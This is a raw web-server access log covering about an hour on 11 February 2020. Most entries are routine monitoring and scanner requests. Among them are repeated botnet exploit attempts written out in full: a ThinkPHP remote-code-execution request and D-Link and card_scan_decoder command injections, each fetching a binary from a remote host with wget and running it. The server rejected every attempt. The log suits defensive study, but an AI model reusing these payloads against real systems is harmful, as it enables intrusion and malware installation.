1.54.47.149 - - [11/Feb/2020:19:36:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:19:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.71.148.73 - - [11/Feb/2020:19:39:14 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
5.190.142.96 - - [11/Feb/2020:19:39:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
93.71.148.73 - - [11/Feb/2020:19:39:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [11/Feb/2020:19:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.11 - - [11/Feb/2020:19:43:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.52.43.128 - - [11/Feb/2020:19:43:36 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:19:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.23.211 - - [11/Feb/2020:19:50:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:19:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.58.61.49 - - [11/Feb/2020:19:51:50 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 338 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [11/Feb/2020:19:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.225.139.70 - - [11/Feb/2020:19:52:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:19:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.151.199.233 - - [11/Feb/2020:19:54:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:19:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.76.233.223 - - [11/Feb/2020:19:57:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:19:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.181.203.37 - - [11/Feb/2020:19:58:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:19:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.1.236.143 - - [11/Feb/2020:20:00:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:20:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.43.64.115 - - [11/Feb/2020:20:07:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:20:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.160.21 - - [11/Feb/2020:20:11:22 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
208.114.149.10 - - [11/Feb/2020:20:11:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:20:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.136.157.215 - - [11/Feb/2020:20:14:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.80.89.62 - - [11/Feb/2020:20:14:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:20:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.151.199.233 - - [11/Feb/2020:20:16:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:20:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.78.26.21 - - [11/Feb/2020:20:17:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:20:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.202.147.181 - - [11/Feb/2020:20:17:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:20:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.228.31.39 - - [11/Feb/2020:20:20:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:20:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.172.97.83 - - [11/Feb/2020:20:21:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
42.118.156.43 - - [11/Feb/2020:20:21:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
86.81.45.117 - - [11/Feb/2020:20:21:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
86.81.45.117 - - [11/Feb/2020:20:21:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:20:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.163.116 - - [11/Feb/2020:20:22:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:20:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.210.34.214 - - [11/Feb/2020:20:23:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:20:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.51.101.50 - - [11/Feb/2020:20:23:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [11/Feb/2020:20:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.216.166 - - [11/Feb/2020:20:25:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.213.83 - - [11/Feb/2020:20:25:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.115.229.191 - - [11/Feb/2020:20:25:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:20:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.76.202.33 - - [11/Feb/2020:20:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:20:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.176.194.96 - - [11/Feb/2020:20:34:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:20:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [11/Feb/2020:20:39:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [11/Feb/2020:20:39:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:20:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [11/Feb/2020:20:39:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [11/Feb/2020:20:40:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [11/Feb/2020:20:40:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:20:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.73 - - [11/Feb/2020:20:41:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:20:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.50.72 - - [11/Feb/2020:20:42:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:20:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.187.163.226 - - [11/Feb/2020:20:46:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:20:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.76.241.27 - - [11/Feb/2020:20:49:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:20:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.66 - - [11/Feb/2020:20:50:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:20:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.42.3.76 - - [11/Feb/2020:20:51:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.42.3.76 - - [11/Feb/2020:20:51:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:20:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.90.62.109 - - [11/Feb/2020:20:53:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:20:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.194.128 - - [11/Feb/2020:20:55:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:20:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:20:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.220.253.253 - - [11/Feb/2020:21:01:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
